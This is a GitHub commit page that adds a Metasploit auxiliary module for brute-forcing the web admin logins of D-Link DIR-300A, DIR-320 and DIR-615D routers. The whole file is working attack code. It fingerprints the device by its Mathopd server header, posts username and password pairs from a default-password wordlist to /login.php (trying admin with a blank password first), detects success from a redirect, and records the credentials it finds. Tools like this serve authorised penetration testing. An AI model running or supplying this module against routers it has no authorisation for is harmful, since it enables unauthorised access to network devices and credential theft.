Skip to content

Commit cff70e4

Browse files
author
jvazquez-r7
committed
Merge branch 'dlink_login' of https://github.com/m-1-k-3/metasploit-framework into m-1-k-3-dlink_login
2 parents cb87439 + 1344fa8 commit cff70e4

File tree

1 file changed

+145
-0
lines changed

1 file changed

+145
-0
lines changed
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
9+
require 'msf/core'
10+
require 'rex/proto/ntlm/message'
11+
12+
13+
class Metasploit3 < Msf::Auxiliary
14+
15+
include Msf::Exploit::Remote::HttpClient
16+
include Msf::Auxiliary::Report
17+
include Msf::Auxiliary::AuthBrute
18+
19+
include Msf::Auxiliary::Scanner
20+
21+
def initialize
22+
super(
23+
'Name' => 'DLink DIR-300A / DIR-320 / DIR-615D HTTP Login Utility',
24+
'Description' => %q{
25+
This module attempts to authenticate to different DLink HTTP management services.
26+
Tested devices: D-Link DIR-300 Hardware revision A, D-Link DIR-615 Hardware revision D
27+
and D-Link DIR-320. It is possible that this module also works with other models.
28+
},
29+
'Author' => [
30+
'hdm', #http_login module
31+
'Michael Messner <[email protected]>' #dlink login included
32+
],
33+
'References' =>
34+
[
35+
[ 'CVE', '1999-0502'] # Weak password
36+
],
37+
'License' => MSF_LICENSE
38+
)
39+
40+
register_options(
41+
[
42+
OptString.new('USERNAME', [ false, "Username for authentication (default: admin)","admin" ]),
43+
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
44+
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]),
45+
], self.class)
46+
end
47+
48+
def target_url
49+
proto = "http"
50+
if rport == 443 or ssl
51+
proto = "https"
52+
end
53+
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
54+
end
55+
56+
def is_dlink?
57+
response = send_request_cgi({
58+
'uri' => @uri,
59+
'method' => 'GET'
60+
})
61+
62+
if response and response.headers['Server'] and response.headers['Server'] =~ /Mathopd\/1\.5p6/
63+
return true
64+
else
65+
return false
66+
end
67+
end
68+
69+
def run_host(ip)
70+
71+
@uri = "/login.php"
72+
73+
if is_dlink?
74+
vprint_good("#{target_url} - DLink device detected")
75+
else
76+
vprint_error("#{target_url} - Dlink device doesn't detected")
77+
return
78+
end
79+
80+
print_status("#{target_url} - Attempting to login")
81+
82+
each_user_pass { |user, pass|
83+
do_login(user, pass)
84+
}
85+
end
86+
87+
#default to user=admin without password (default on most dlink routers)
88+
def do_login(user='admin', pass='')
89+
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")
90+
91+
response = do_http_login(user,pass)
92+
result = determine_result(response)
93+
94+
if result == :success
95+
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
96+
97+
report_auth_info(
98+
:host => rhost,
99+
:port => rport,
100+
:sname => (ssl ? 'https' : 'http'),
101+
:user => user,
102+
:pass => pass,
103+
:proof => "WEBAPP=\"DLink Management Interface\", PROOF=#{response.to_s}",
104+
:active => true
105+
)
106+
107+
return :next_user
108+
else
109+
vprint_error("#{target_url} - Failed to login as '#{user}'")
110+
return
111+
end
112+
end
113+
114+
def do_http_login(user,pass)
115+
begin
116+
response = send_request_cgi({
117+
'uri' => @uri,
118+
'method' => 'POST',
119+
'vars_post' => {
120+
"ACTION_POST" => "LOGIN",
121+
"LOGIN_USER" => user,
122+
"LOGIN_PASSWD" => pass,
123+
"login" => "+Log+In+"
124+
}
125+
})
126+
return nil if response.nil?
127+
return nil if (response.code == 404)
128+
return response
129+
rescue ::Rex::ConnectionError
130+
vprint_error("#{target_url} - Failed to connect to the web server")
131+
return nil
132+
end
133+
end
134+
135+
def determine_result(response)
136+
return :abort if response.nil?
137+
return :abort unless response.kind_of? Rex::Proto::Http::Response
138+
return :abort unless response.code
139+
if response.body =~ /\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>/
140+
return :success
141+
end
142+
return :fail
143+
end
144+
145+
end

0 commit comments

Comments
 (0)